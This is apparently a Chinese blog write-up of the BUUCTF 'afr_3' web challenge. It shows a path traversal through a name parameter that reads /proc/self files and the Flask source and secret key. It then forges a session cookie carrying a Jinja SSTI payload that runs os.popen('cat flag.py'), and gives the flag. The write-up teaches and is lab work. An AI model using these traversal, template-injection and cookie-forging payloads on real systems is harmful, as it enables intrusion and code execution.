本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入
关于/proc/目录
Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。/proc/[pid],当查看当前进程的时候可以用/proc/self代替cmdline — 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息cwd — 指向当前进程运行目录的一个符号链接environ — 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示
![图片[1]-BUUCTF第一章 web入门]afr_3-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-115.png)
输入一个1,然后会有提示有一个article,点进去就是该文件,这不就是入手点了吗
http://5553aad1-9c8c-4337-89f9-eb68413cc508.node4.buuoj.cn:81/article?name=article
有一个name参数,利用这个name参数获取当前执行系统命令
name=../../../../../proc/self/cmdline
得到python server.py,然后查看server.py的源代码
name=../../../../../proc/self/cwd/server.py
import os from flask
import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) from flask_session import Session app = Flask(__name__) execfile('flag.py') execfile('key.py') FLAG = flag app.secret_key = key @app.route("/n1page", methods=["GET", "POST"]) def n1page(): if request.method != "POST": return redirect(url_for("index")) n1code = request.form.get("n1code") or None if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","") if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code template = None if session['n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code'] session['n1code'] = None return render_template_string(template) @app.route("/", methods=["GET"]) def index(): return render_template("main.html") @app.route('/article', methods=['GET']) def article(): error = 0 if 'name' in request.args: page = request.args.get('name') else: page = 'article' if page.find('flag')>=0: page = 'notallowed.txt' try: template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e: template = e return render_template('article.html', template=template) if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)
可以看到有个flag.py和key.py
在flag.py中应该是存在flag,但是不能查看
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
打开key.py 文件
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
伪造:
./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
![图片[2]-BUUCTF第一章 web入门]afr_3-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-116.png)
得到:
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YD97iA.kUHfV05dXGFmHNS5bumL3yu4J2E
![图片[3]-BUUCTF第一章 web入门]afr_3-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-117.png)
最后flag为n1book{afr_3_solved}
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END














请登录后查看评论内容